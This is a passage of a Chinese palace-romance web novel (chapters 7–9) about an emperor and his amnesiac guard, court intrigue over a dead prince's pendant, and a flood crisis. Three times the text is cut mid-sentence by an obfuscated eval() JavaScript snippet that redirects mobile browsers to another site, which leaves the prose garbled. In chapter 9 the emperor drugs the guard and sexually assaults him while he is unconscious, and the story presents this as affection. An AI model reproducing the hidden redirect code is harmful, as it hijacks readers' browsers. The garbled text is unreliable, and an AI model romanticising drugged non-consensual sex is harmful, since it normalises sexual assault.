雪萤挺直腰背,尽可能地不倚到主上身上去,这可是大逆不道的举动。他跟义蛾生一五一十地说了:“臣刚才……刚才万笠来拜见主上,主上正在气头上,臣便跟着他去了他宫里,后来跑到房梁上,偷看到他在汤中下药。离开之前,臣见桌上有一朵簪花,便顺手带走。” 义蛾生听了,脸色淡淡的没什么反应,只问:“刚才吼你,生气了?” 雪萤哪里敢跟主上生气,只是本就可怜的狗狗眼越发丧气地下垂,委屈直勾勾地写在脸上:“臣不敢……只是,主上刚才生气发作,臣心里很害怕。” 义蛾生并未放缓神色安慰他,依然有些严厉地说:“叫你滚出去,是让你到内室外面候着,你自己擅作主张跟着别人跑了,反而叫朕出来担心,朕不与你算账都不错了。” 雪萤呆了一下,眼睛里浮起水汽,低下头道:“以后再要遇到这种事,雪萤求主上直接说两次‘滚出去’……雪萤就自觉滚到外面去,再也不出现在主上眼前,让主上看着心烦。” “你说什么?”义蛾生眯起眼,眼神里透出几分危险。 他心头压着的那点阴暗像是得了什么信号,同时不安分地躁动起来。 雪萤却仿佛浑然不觉,吸着鼻子,声音哑哑地说:“雪萤只是不想让主上烦心。” 当真是个克他的祖宗……义蛾生咬着牙想,恨不能此时就将他揉碎了放进身体里,让他知道胆敢冒出“离开”这种念头的下场,会是什么。 过了好一会儿,义蛾生才别扭道:“以后不会对你说这三个字了。” 他看着眼泪汪汪的雪萤,忍不住抬手放在人头上抚摸着,语气缓了下来,许下帝王的九鼎之诺:“再也不会,也不会骂你。” 雪萤靠着他的掌心蹭了蹭:“嗯……” 他面上看着一副可怜模样,心里却欢快起来。 虽然不记得过去那些日常与事迹,但他好像,已经摸到了一点该如何与主上相处的门道? 7. 第 7 章 雪萤像个嗅觉灵敏的小动物,当他发现这时主上耳根正软着,便要得寸进尺,继续提要求:“雪萤还有一事想求主上答应。” 义蛾生这会儿脸色松缓了许多,转过头问:“什么事?” 雪萤刚想拿“万笠说”打头,忽然想到主上似乎不喜万笠,便改了口:“雪萤感觉俸禄有些低,主上能不能再加一点钱……” 义蛾生许给他的“器珠”,虽然不是真金白银的货币,但那是天子之器,价值无量。雪萤不懂得这些,义蛾生不会与他计较,反耐心问起他来:“你想要多少?” “嗯……”雪萤想了想,“加到两枚可不可以呀?” “一日两枚有些太多了。”义蛾生说,“你要只是嫌先前跟你约定的俸禄少,不如加一加每日当值时长,朕便给你加到两枚。” 加时长?好像也是个办法。雪萤想,他这么无缘无故就让主上给他多发俸禄,确实有些不太合理,他一开始的打算似乎只是多点俸禄,这样看来,主上的提议也不错。 雪萤很谨慎地问:“要加多少呢?” 义蛾生还真认真地想了一下:“就加夜晚在朕身边护卫,从朕入寝开始,到朕早起上朝为止。” 他又拍拍软榻:“你睡这里。” 雪萤愣了一下,心里惊喜起来。 竟有这种好事?晚间只留在主上身旁护卫,不需要四处走动巡逻,主上还赏他一处地方可以休息,最后俸禄还能加倍,这真是天大的好事啊。 雪萤生怕主上反悔,连忙答应:“好!” 义蛾生摸着他的脑袋,一样满意地笑了。 好,确实很好。 先前他还在想着要跟失忆了的雪萤保持距离。现在却控制不住地开始想象,他要雪萤留在他身边,放到他眼皮子底下,每到夜深人静时,他还要抱着这具熟悉的身体,要他像从前一样全部接纳他的阴暗。 义蛾生又说:“明日朕先安排你接手帝王起居言行注记,到早朝时你也要随同,尽快熟悉朝堂政务,之后朕再安排任职第一卫所的御殿督卫过来见你,逐步将情报网与御殿督卫指挥权转移到你手中。” 雪萤愣住了,他没有想到主上竟然已经为他做好了全部安排。 “雪萤,你必须尽快适应。” 义蛾生锐利的眼神盯着他:“朕需要你。” 这份信任与恩托压得雪萤差点喘不过气,他猛地从软榻上弹起,再一次跪在主上脚下,想要把心掏出来,奉给他的主上,让他看里面满满当当装载的忠心。 “雪萤定然不会辜负主上的期待!” 义蛾生朝他伸出一只手,他便用双手捧着帝王的手掌,低下头去,用脸侧贴在主上掌心中,要他感受自己的敬重之心与至死不渝的忠诚。 不管是十年前,还是今天,他一如既往的,仰赖着他的主上。 他唯一信仰的神祗。 除了住地和任职,还有一个非常重要的问题,那就是雪萤吃什么。 天萤族不食五谷杂粮、荤腥蛋奶,他们大都以花蜜为食,饮无根之水。义蛾生十年未见他,一时没想起这件事,雪萤自己也不记得他该吃什么,每到宫人吃饭的时候,他看着别人吃,对那些食物提不起半分兴趣,也吃不下去,索性每日都只喝几口水。 那些水他也不爱喝,浑浊污秽,始终比不得无根水,他虽然没有记忆,潜意识里还知道排斥。 四日后,这是雪萤复生的第五天,他的生活逐渐步入正轨。他学东西很快,适应能力强,做事很利落,跟在主上身边这几日,大致了解到了义蛾生身处的困境,以及主上想要做的事情。他默默地在心中记好,并且开始思索自己还能为主上做什么事情。 他只是一只小小的萤火虫,他的主上是撑在这片贫瘠大地上的大树,他没有办法替大树分担天降之大任,也没有办法改变大树脚下荒芜的土地和附着在大树身上的寄生虫,他唯一能做的,大概只有替大树照亮夜晚的一片天空。 即便如此,他亦心满意足。 太后那边,得知皇帝日日带着雪萤进出朝会,气得砸毁了新得的一套青花瓷器。御殿督卫是皇帝的亲信,是皇帝费尽千辛万苦为自己皇权争取的基石,是这宫中太后唯一插手不了的铜墙铁壁,以后想动雪萤,她都得掂量几分,叫她怎可能不生气? 万笠那日犯了错,本就心虚,这几日都陪在太后身旁,好声好气安抚太后。听见太后气恼义蛾生叫雪萤做回御殿督卫,万笠连忙劝道:“太后,换一个角度想,这何尝不是好事一桩?” 太后稍微冷静了些:“此话怎讲?” “陛下要真把人寸步不离地留在身边,我们反倒没有下手的机会。叫他在外面时常走动,我们接触他的机会也多了去。”万笠像条狗腿子,忙着给太后揉肩捶腿,“据臣所知,雪萤虽说活是活过来了,可没了十年前的记忆,他这会儿没准连自己主子是哪个都分不清。” 太后微微惊讶:“还有这种事?” “是呀。”万笠连忙说,“而且根据臣观察,陛下好像也知道这点,所以对雪萤并不完全信任。先前那日臣去看他,听见陛下特别凶地吼了雪萤一顿,直接把人骂哭跑出来的!后来查药那会儿,陛下当着这么多人面责问雪萤打翻药,这可不是拿他架在风口浪尖?太后,这哪像是疼宠他的表现?” 太后一听,这才露了笑意:“这么说来,倒有几分道理。” 她拍拍万笠的肩膀:“继续说,你是不是又有什么主意了?” “当然!”万笠笑得谄媚,“他们自己给出来的可乘之机,哪有不挑拨的道理?” 他从袖中摸出一物,拿给太后观看:“臣早就准备好了这东西。” 太后看了一眼,像是一条挂坠:“这是什么?” 万笠说:“太子的遗物!” 朝会结束后,除了要留在书房伺候主上批奏公务,雪萤还要定时到外面巡逻。等到下午不需要他巡逻时,他便拿着主上叫他看的书本,坐在主上椅子旁的地毯上,自己默默地读着。 读到不懂的地方就记下来,等到主上忙完事情就会为他解答。他就像块小海绵,飞快地将知识洋流和经验吸到自己身体里,然后充实起来,表面看着有棱有角,足以独当一面,实际上让义蛾生伸手一捏,还是软的。 到这日上午外出巡逻时,雪萤又碰见了万笠。 他现在对这位“国师”印象不大好,远远地见着就想绕开,但万笠很快追了上来。 万笠还非常不要脸地问:“雪萤,你怎么见着我就跑?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418504|168916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 雪萤说:“你见着一堆垃圾不绕开么?” 万笠让他说得一愣。 这小孩儿……不是个软趴趴的性格么?什么时候变得说话这么有攻击性了? 不过万笠也没放在心上,这不是他今天前来的主要目的。 他说:“你怎么就生气了,我没惹着你吧,亏我今天还想给你一件好东西……” 听见“好东西”,雪萤有了兴致:“什么东西?” 万笠拿出那条“太子遗物”,在雪萤眼前晃了晃:“就是这个,你主上曾经佩戴过的挂坠,你想不想要?” 雪萤微微睁大眼:“主上曾经佩戴过?那这可是天子之物,你私藏天子器物,是大罪。” 万笠并不赞同地看他一眼:“什么私藏……这是我从太后她老人家手里得来的,太后有几件儿子用过的东西也不奇怪吧?我是想与你交朋友,所以才讨来送给你。” 哈,只要雪萤收下,等到时候,皇帝看见雪萤戴着太子的东西,不知道会不会气得发疯,直接把人掐死,再来十年招魂。 雪萤犹豫着不说话,万笠看得出他想要,又说:“你真不想要么?不想要也没关系,但是你家主子的东西放在别人那里,亏你也能忍得下去……” 雪萤听他这么一说,急道:“不行,我要拿去还给主上。” 这是属于主上的东西,一听主上的东西要放在外人手中,他满心都是不舒服。雪萤越想越急,最后还是没忍住,从万笠手中抢了挂坠过来:“我要!” 万笠巴不得他赶紧拿去,手里根本没使劲拽着,面上却装作不高兴:“刚才你不是还说不要么?” 雪萤睁圆了狗狗眼:“主上的东西不能放在你那里,会……会熏得臭烘烘的。” 万笠一听,差点炸了:“什么臭烘烘?” 他举起袖子左右闻了闻:“哪里臭了,这不是挺香的……喂,你别走,回来给我说清楚——” 雪萤拿着挂坠走了很远,直到听不见万笠叫他,他才停下来,举起挂坠细细端量着。 是主上的东西诶!光是这么拿着,就好像感受到了主上那般亲切温暖…… 雪萤用手摸了摸挂坠,摸到背面凹凸不平处,翻过来一看,只见上面刻着三个字—— “义遥风”。 义遥风?义遥风是谁?他空荡荡的脑子里想不起关于这么一个人的点滴事迹,于是想,这难道是主上以前的名字么? 雪萤并没有深想,他没有记忆,终究不太方便,就是想往深了探究也没有办法,索性懒得再想,只高高兴兴将挂坠套在脖子上,继续巡逻去了。 到了下午,主上在书房处理政务,他坐在椅子旁的地上毯子上看书,等看到累了,就忍不住偷偷将挂坠拽出来看看,还摸几下。他这么一下午不像之前几天专心,义蛾生很快便发现了,伸手按在他脑袋上:“在看什么?” 雪萤心虚,连忙把挂坠往衣服下面藏:“没,没什么,看书。” 义蛾生放下奏折,眯起眼,转过头俯视手边地上的雪萤。 很好,这才活过来四天,还跟个刚出生走路都走不稳的幼崽似的,就知道有事瞒他了。 他倒想看看,到底是什么天大的事情,能够重要到让雪萤选择对他隐瞒。 8. 第 8 章 晚上回了寝殿,义蛾生支使宫人退到门外,自己坐在床边,叫雪萤过来:“替朕更衣。” 自从那次被主上吼过,雪萤发现主上似乎不喜自己靠得太近,一般没命令,他会自觉地避在一旁,老老实实地听候吩咐。这还是他醒来后第一次,主上叫他上前帮忙更衣。 雪萤虽然有些奇怪,但还是听话地照做。他替主上脱去外衣后,就被按住了手,义蛾生用指尖挑出他颈上的挂坠:“这是什么?” 雪萤的神色一下变得紧张,甚至还想伸手去遮,这让义蛾生心中愈发怀疑。 义蛾生单手将他两只手握在掌中,他知道因得天萤族特质,雪萤的力气会比常人更大,连他都不一定压制得住,但雪萤在他面前从不会做出反抗的举动,所以他才放心这样做,然后用另一只手将挂坠拽到眼下。 看上去,颇为眼熟…… 等到将挂坠翻一个面,义蛾生总算知道那熟悉感从哪里来的了。 这是,他那孪生弟弟的物件。 雪萤将那死鬼弟弟的东西挂在脖子上。 护得好好的。 还不让他看见。 甚至有意瞒着他。 义蛾生已经说不出来自己现在是个什么心情,怪不得都说“怒极反笑”,他最后真的只笑了一下,然后松了拽着挂坠的手,转身躺上床,扯过被子睡了。 雪萤却有些惴惴不安。 他想,主上刚才那个笑容,为什么看起来有些可怕呢? 他守到半夜,困了便上软榻睡觉,想着主上最后那个笑蕴藏的意味,慢慢地陷入沉眠中。 入了三更,外面传来打更声,雪萤却从梦中慢慢地醒了过来。他感觉到好像有些喘不上气来,脖子处仿佛被什么东西勒住,身上也跟鬼压床似的有些沉重。 脖颈处的旧伤被温热的指腹碰到,令人发颤的痒意迫使雪萤睁开了眼。入眼是一片勉强能视物的昏暗,在这片昏暗中,也是他身旁,他看见了……一道巍然的人影。 雪萤被吓得瞬间清醒,正要叫出声,忽然感觉他的脖子被绳子勒着,他这么一挣扎,反而叫绳子绷得更紧,陷入他脖颈处的皮肤中。 有人要杀他! 他以为自己性命受到威胁,正要使力推开那道人影,却听见主上低哑的声音在黑暗中响起:“别动。” ……主、主上?雪萤受到了更大的惊吓——主上要杀他?! 为什么,怎么会这样…… 雪萤伸手扯着颈上的绳子,不敢用大力反抗义蛾生,只能用身体推拒着,嘴里呜咽快要哭出声:“主上,别,别杀雪萤……” 义蛾生却跟没听见似的,反而上了软榻,拿膝盖压着他的腰,不让他继续挣扎,手中握着的绳子再一次紧贴皮肤地环在雪萤颈上。 雪萤已经哭出了眼泪,嘴里还在叫着“主上饶命”。即便他已经被吓成这样,依然不敢反抗来自主上关乎生命的威胁,只叫人觉得可怜又可爱。 义蛾生将绳子拿开,起身走到灯座前,点燃油芯,让整个屋子变得明亮起来。 乍然被光亮照到眼睛,雪萤满眼泪汪汪的还有些不适应。过了好一会儿,他才抬手抹了抹眼泪,从软榻上坐起身,正对上站在灯下静静看着他的义蛾生。 他喊了一声:“主上……” 这一声拖了些哭腔,毫无端庄可言,倒像是在撒娇。 义蛾生冷漠地挑了挑眉,仿佛对他的示好充耳不闻。那条不久前环在雪萤颈上的绳子就在他手中捏着,一端圈成一个环状,另一端自然地垂落下来。 他问:“又在哭什么?” 雪萤忌惮地看着他手中那条绳子,低下头哑声道:“臣以为主上要杀臣……” 人到非常生气的时候会忍不住笑,同理,人到非常无语的时候还是会想笑。义蛾生笑了起来:“朕一个皇帝……大半夜的不睡觉,亲手拿一条绳子杀你,朕是吃饱了没事做么?” 雪萤想了想,用力点头:“嗯,人要是吃得太饱,确实指不定会做出什么事情来。” 义蛾生没理会他,转过身,将刚从雪萤颈上扯下的挂坠随手丢在桌上,然后说:“你那条挂坠,朕收走了,以后不要再戴。” 雪萤这才发现万笠给他的挂坠没了,他脖子上又恢复到空荡荡的状态。 他惊呆了,瞪大他那双狗狗眼,嘴上不敢反驳质疑他的主上,心里却委屈惨了。 主上的东西……他戴上还不到半日,就没了,怎么可以这样…… 义蛾生站在桌前灯下,手指将那条绳索捏着位置打上一个结,使绳子固定成环状,也放在桌上,然后淡淡地说:“从明日起,夜里你不必留在朕身边伺候,朕还是每日给你两枚器珠。” 雪萤又是一愣。为什么突然不留他在身边当值了?这是比丢了主上的东西还要更大的噩耗。 义蛾生又说:“你的住处,叫宫人为你另外安排。” 雪萤不能理解:“主上,为什么?” 义蛾生转过身,神色平静地说:“没有为什么。” 他闭了闭眼,心里憋闷得慌,尤其想到雪萤戴着太子挂坠那一幕,像针一样的刺眼,刺得他眼睛都快要睁不开。 到底在奢望什么…… 其实也不是没有想过,要把人好好留在身边,像以前那样相处。可是这样美好的愿景,总会被现实泼一头冷水——留雪萤在身边又如何?他的失忆并非永久,只是一时,现在想不起来过去的事情,并不代表以后不会。况且当年的事情不是秘密,但凡有心人稍作利用,真相暴露在雪萤面前,是迟早的事情。 等雪萤想起“太子”这么一个人,想起自己真正的主人是太子,想起那些过往,他又该如何与他泰然处之?除非将雪萤完全地禁锢在他身边,遮住他的眼睛与耳朵,让他看不到半点外面的世界,可那又不是他想要的相处之道。 身为帝王,外不能将江山权柄尽收在手中,内不能得拥所爱之人。他这为帝的半生,如何又不是过得失败。 越是细想,义蛾生的心情越发阴沉低落,连带着此时与雪萤的独处,仿佛都变得煎熬起来。 雪萤却猜不透他心中所想,只想到自己要被主上赶走,有些难过地问:“主上不要雪萤了么?” 义蛾生不说安慰的话:“不是。” 雪萤有些可怜地看着他:“雪萤想留在主上身边效力。” “你在哪里,都是为朕做事。”义蛾生说,“朕只是不想看见你。” 雪萤露出有些被伤害到了的神色,一双狗狗眼越发的耷拉下来。 主上现在的脾气好奇怪……一会儿对他好的,一会儿欺负他,一会儿又发火,一会儿看起来还像要他的命,一会儿又把他赶出去。 他觉得很伤心,站在原地不想走,义蛾生又加重语气说了一次:“出去,朕要休息了。” 雪萤便瘪了嘴,穿好鞋,抱着自己的外衣,慢慢地走出门去,走到门口时。还不忘回头看看,发现主上确实躺回到床上,背对着他,似乎真的睡了。 他落寞地走到外面,并不走开,而是抬头看看寝殿门外开满了槐花的大槐树,纵身一跃翻了上去,准备将这大槐树的枝丫树干当作休息的地方,哪怕主上不要他,他也要守在离他最近的地方。 刚上了树,他忽然闻到了花蜜的香甜气息,立即被勾出馋意,肚子也跟着感到了饥饿,于是他趴在树枝上,舔了舔树叶上的露水,又舔了舔槐花的蜜。 好……好好吃! 吃到这样好吃的食物,雪萤的眼睛一下子就亮了,连带着刚被主上扫地出门的沮丧感都消了许多。他饿了好几天,这会儿突然开胃,只恨不得整个人都趴到花堆里埋着,把里面的蜜全部吸溜舔得干干净净。 虽然没有了记忆,不过此时的他深以为,这,就是他雪萤大人该吃的东西! 他趴在树上舔花蜜、喝露水,吃得倒很是欢快,连树下什么时候走过了几个人都没有留意到。 义蛾生刚躺下没多久,还在心烦意乱地想着雪萤离去时那副伤心的小模样,想他会不会自己找个地方躲着偷偷哭,这时外面宫人来报,称少师与国子监博士以及几位参事深夜入宫觐见,呈上八百里急报。 他猛地一惊,起身召人点燃灯火,披上衣服在外室召见群臣。 西南连绵半月阴雨,终于导致山洪迸发,山石与洪水一同毁道,毁的那条道路,好巧不巧,正是从西南向外运输材料的主干道。而那些材料送往的地方,是那条曾经让先皇雄心壮志想要筑造、最终却以废弃收场的渠梁河水道。 经历过十年休养生息,虽然国库仍称不上“富余”,但就这么弃置着修了一半的渠梁河水道不管,实在有些可惜,义蛾生便在每年开支预算中增加一项水道建造工程,从西南边地运送材料,不管要修多少年,只要在修,只要能修,就是利于众生百姓的。 西南边陲交通阻塞,他便令人先修了路,倒也行了交通的方便,但天灾一至,他再是皇帝,也一样束手无策。 棘手的事情并不只是路道被毁、货物滞运,义蛾生翻看着呈上来的急报,神色愈发沉重。 天灾是天意,天子也是天的象征,每到这种时候,必会有人拿皇帝过失做文章,硬把两件没有关联的事情讲成是因果。此消息明日拿上朝堂,不必想都知道,又会有人站出来弹劾他。 此时想这些事情也没用,当务之急是,尽快选定前去治灾的朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418505|168916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臣。 灾患之地乃是“六王九公十二侯”当中,若水王与裕国公封地的交界处,这二人都是义蛾生的反对者。若是放手让他们二人自去治灾,恐怕又要盘去朝廷一大笔银子,最后可能还修不好,所以他必须从朝中钦点差使,作为他远在朝堂外的耳目。 他坐在桌前,放下急报看向面前群臣,他的臣子们便知道该在此时发言。 离义蛾生最近的二人,其中一人是当朝礼部尚书兼少师金善荣,国子监“欲取学”派系代表人物,另一人则是国子监博士孔余,“善为派”代表人物,每到这种该议朝政大事时,这二人也是吵得最厉害的。 他抬头后,孔余抢了发言的先机,金善荣落后一步,只得满脸不甘地揣手站在旁边,神色愤愤。 孔余并不废话,上来挑着重点说了:“陛下,关于这外派赈灾的钦使,臣推举侍郎宋河理,他可担此大任。” 不等义蛾生发话,旁边的金善荣立即抢了话头过去:“孔余,你说这话的时候自己不觉得害臊么?宋河理是你们善为派的人,老子看儿,怎么看怎么好,你当然觉得他可以担大任,这关键是,他真能担得下这么大的担子么?” 孔余倒也不生气,微微笑道:“哦?那下官倒是想听听,‘狗嘴吐不出象牙’的金大人,有何高见啊?” 金善荣瞪大了眼睛:“你说什么?!” 孔余道:“哎,急了。” 义蛾生头疼地按住额角,手指在桌上敲了敲:“不要吵。” 他看着二人:“朕时常教诲尔等,身为国之重器,一朝重臣,要相亲相爱,正所谓‘君子和而不同’,多善待身边人,方得路途坦荡……” 话还未说完,面前两位从来不对付的大臣竟同时转身,朝他拱了拱手。 孔余面上依然还笑着,轻声道:“陛下,您现在说这话,似乎没什么说服力。” 金善荣:“把人饿到爬树上啃花,这便是陛下的‘善待’之道?” 义蛾生叫他们说得一愣一愣,好半天,才想起什么,脸色阴沉地站起身,走到寝殿门外槐树前,抬头望向树梢。 这么一看,正好看见趴在花堆里吸溜吸溜舔花蜜的雪萤。 义蛾生脸色快如锅底一般漆黑,仰起头冲雪萤道:“成何体统,你给朕下来!” 金善荣与孔余看热闹不嫌事大,也跟着走出来。雪萤听见主上叫他,探头出来看了一眼,看见下面除了义蛾生,还站着别人,一下子就被吓得缩回了脑袋,甚至还往花堆更深处藏,然后瓮声瓮气地说:“雪萤不下来。” 义蛾生气得差点捋袖子:“你连朕的话都敢不听?” 雪萤抱着树干:“下来……主上会责罚雪萤……” 义蛾生咬牙切齿,忍气吞声:“你下来,朕不会责罚你。” 雪萤没动,想了想,又说:“嗯,那主上能不能顺便收回刚才的话,不要赶雪萤走?” 金善荣和孔余低头闷笑。 义蛾生将两人都瞪了一眼,再抬头说:“不能,你再不下来,朕亲自上来抓你。” 雪萤开始判断眼前局势。 主上要是想“上树抓他”,那么必须得有武功,没有武功的话,作为一名皇帝,不可能当着大臣的面,干出爬树这种举动。但要是主上有武功,嗯,当然也不可能在大臣们面前暴露出来,综上所述,这只是吓唬他的话,主上不可能上来抓他。 雪萤顿时感觉自己好机智,好聪明。 这么一想着,他半点不觉得害怕,甚至朝树下的义蛾生张开手:“主上快上来。” 金孔二人已经憋笑到弓腰捂肚子了。 义蛾生差点管理不住自己的表情。雪萤的猜测大致不差,因得幼年在“中术”培养经历,他确实身怀武功,只是做了皇帝后,出于多方面考量,这件事没有在外人面前暴露过,现在当然也不可能当着诸多大臣的面使出来,就为上树抓雪萤。 他深呼吸、再深呼吸,仍然克制不住露出近乎狰狞的冷笑,只得尽可能把声音放缓说:“不赶你走了,快下来。” 听见主上的保证,雪萤一个悬着的心这才有了着落。他松开手,高高兴兴地从槐树上滑了下来,正好落进义蛾生手中,叫他拎着领子提溜起来。 义蛾生转身对身后大臣们说:“各自回去拟个折子,写明钦使人选与推举理由,明日早朝再议。” 至于现在么,他看着手里还很开心的雪萤,心头冷笑,当然是要好好惩戒某个胆子大到敢威胁他的小东西了。 这一次,可不是只打打屁股这么简单的事情了。 当然不是“责罚”,他方才承诺过不会“责罚”。但除了责罚以外,还有很多手段,不是么? 9. 第 9 章 义蛾生将雪萤拎回寝殿软榻上放着。他撩开衣摆,在床边坐下来,冷笑道:“你好大的胆子……嗯?竟敢威胁朕。” 雪萤跪坐在软榻上,低头不太老实地认错:“雪萤不敢,雪萤只是不想被主上赶走。” 他低头的动作拉抻着脖颈,露出那大片雪白的皮肤,还有那道狰狞的旧伤。义蛾生的目光被吸引了过去,可一看见他那颈子,就想到不久前他把死鬼弟弟的东西戴在上面,心头邪火直冒。 他盯着雪萤暗暗磨牙,要不是方士劝他暂时不要碰雪萤,他今晚早把人扒光了教训……哪来的这么多弯弯绕绕的,还让大臣们看见这么尴尬的一幕。碰又碰不得,真把人扒光,折磨的反而是他。 义蛾生越想越烦,像是为了转移注意力,他问雪萤:“你爬到树上做什么?” 雪萤有些委屈巴巴地答:“肚子饿……树上的露水好喝,花蜜也好香……” 义蛾生愣了一下,过了一会儿才说:“朕倒是忘记了。” 雪萤十一岁入宫来了他身边,当时一起送来的,还有一本《天萤族饲养手册》,上面讲了关于天萤族的一些习性,其中就讲到过,天萤族要饮无根水、食花蜜,这些内容他至今都还记在心上,只是一时忘记雪萤失忆失得彻底,连找食都不会,这才忽略了要特意为他安排水食。 这件事归根到底还是他的问题,义蛾生在心里认下来,好声好气跟雪萤说:“明日朕吩咐人为你安排,下次不要爬到树上舔花,让人看见不太好。” 雪萤连忙点头:“臣记住了。” 义蛾生“嗯”了一声,又说:“但你今日……真的很不听话,所以,朕要扣了你今日的俸禄。” 雪萤顿时跟被雷劈了似的:“什、什么?” “今日的工资不作数。”义蛾生又说了一次。他不给雪萤再有辩驳的机会,翻身躺在床上:“赶紧睡,明日还要早朝。” 雪萤瘪瘪嘴,很是委屈地熄了灯,重新回到他的软榻上睡着。 这真是折腾的一晚上啊。他一边想着,一边留意听主上的呼吸声,迟迟难以入睡。他正想翻个身,盖住脑袋强行入睡,忽然听见身后传来义蛾生起身的动静。 雪萤精神一振,这又是要做什么了吗? 很显然,这一次,义蛾生还是冲着他来的。 · 帕子上浸了迷药,盖在雪萤口鼻上片刻后,义蛾生上了软榻,将人搂进怀里。 他越发感觉自己这个皇帝做得不像个皇帝……尤其是在雪萤面前,什么端庄威严,什么帝王仪态,全部丢盔卸甲,让内心疯狂的占有欲变作一个疯狂庸俗的普通人,在他的爱人熟睡时,才敢不加掩饰地暴露出来。 他把人半抱半压在榻上,膝盖顶着他的双腿,也撕开衣领,失控地亲吻那道狰狞的旧伤,在他耳边低声呢喃,在他如同新造的皮肤抚过,也要他天真无暇的爱人蜷着腿,承受不堪的俗欲。 “雪萤儿,乖宝,朕的宝贝……”他出了汗,脸侧一片汗湿,呼吸和话语间含着潮气,从雪萤的耳侧开始侵染,一点一点的勾出雪色皮肤下的红潮,“朕今天真的很生气……为什么,你偏偏要戴着他的东西……” 昏睡中的雪萤好似觉察到腿上不适感,鸦羽般的睫毛轻轻震颤着,像在梦中和什么做着斗争,拼了命也想醒过来,嘴唇微微开合,发出更要滞缓的呼吸声。义蛾生拿额头抵着他,沉着声音说:“雪萤宝贝……叫一叫朕的名字……” 他的声音里满是不开心,还有怨结。 “过去朕没有名字……你在叫主上的时候,叫的到底是谁?”他问着不可能得到回应的问题,却又要执拗地想要那个答案,“现在朕终于有了名字,朕还告诉了你,你为什么不叫我的名字……” 他有些痛苦,又近乎哀求似的在雪萤耳边说:“叫我吧,好不好……” 仿佛感应到了他泥泞般的心情似的,雪萤动作更大地挣扎起来,想从迷药与梦魇的束缚中挣脱。 义蛾生却不给他这个机会,覆着帕子的手更加用力地捂住他口鼻,直到他的身体彻底绵软下去,没了半分挣扎,才松开手。 义蛾生有些满意地笑了:“这才乖。” 他含着雪萤的嘴唇,像是饿了许久的人突然见到香气扑鼻的美食,饥肠辘辘地大口吃着。不但将雪萤原本就红润的嘴皮咬得更饱满,饱满到像是快要滴出血,还吃掉了他的呼吸,让他艰难地索取空气,鼻腔中发出推拒、但又无力的哼声。 “朕要给你打一个环……”他轻声说,“以后再敢惹朕生气,就拿绳子扣着环,把你栓在桌子旁边……” 雪萤迷迷糊糊又哼哼两声,似乎在表达自己微弱的抗议。 义蛾生将他脸朝枕头,完全地压在了身下,蹭着许久才发泄完这一天积蓄的邪火,他自己早已满身是汗,低头一看,雪萤也被他弄得衣物凌乱,身上半湿着,像是被欺负惨了一般可怜,却连半分反抗的力气都没有,透出一股子违和又令人痴迷的艳情。 不知是否药效过了,或者动静太大,终究是让雪萤有了几分清醒。他疲惫不堪地抬着虚软的手指四下摸索,鼻腔里委屈巴巴哼着让人听不清意义的音节。义蛾生却知道他在找自己,将他拥得更紧了些,也将他的手指包裹在掌中。 他爱怜地在那张已经让他吃肿的嘴唇上亲了又亲,这才说:“乖,睡吧,不闹你了。” 他就这么抱着人,一觉睡到外面敲钟,雪萤却因得药效还处在昏睡中。义蛾生拿手指穿过他柔软的发丝,看他这副叫人弄脏、弄坏的模样,心里软得不行,想他昨夜也累着了,便默默免了他今日早起上朝。 他下床叫人送来温水,给睡得不省人事的雪萤擦拭干净,又仔仔细细上了药、穿好衣服,便很难看出留有昨晚的痕迹。 做完这一切后,义蛾生才出门上朝。 他今日早朝迟了一些,大臣们早已在朝堂上先吵了起来。义蛾生走上台阶,直到他坐下来,底下的声音才逐渐小了一些,不少人一边争论、一边拿眼神窥视他。 他并不开口管下面人争吵,只拿起提前写好呈上的几本奏折翻看着,对几位重臣推举赈灾的人选有个大致判断。当看见金善荣、孔余二人都举荐“武显侯”时,他露出几分沉思的神色,目光从站在前方的金、孔二人身上扫过。 大臣们吵的内容不尽一致,但大体都围绕着西南灾情。还是勇乾王声音盖过众人,他喝令一声:“安静——” 勇乾王乃是王侯中地位权势最高的那位,在这朝堂上的威 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418506|168916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信力仅次于皇帝,不过这也只是近几年的事情,早在皇帝最初登基的时候,勇乾王才是这朝中最具话语权的人。他余威尚在,这么一声之后,朝堂上果然安静了下来。 义蛾生看他一眼,说:“今日主要议朝廷钦命外派的赈灾差使,朕刚看过折子,心里也有了几个人选,勇乾王,你有何见解?” 勇乾王先行了一礼,然后才说:“回禀陛下,臣刚好也想上奏心定人选,陛下,臣以为,可派武显侯赶赴西南治灾。” 站在一旁的武显侯突然被点名,脸上露出几分惊讶神色。他很快地站了出来,在片刻的思索后答道:“臣愿为陛下分忧解难。” 义蛾生将目光落到武显侯身上。 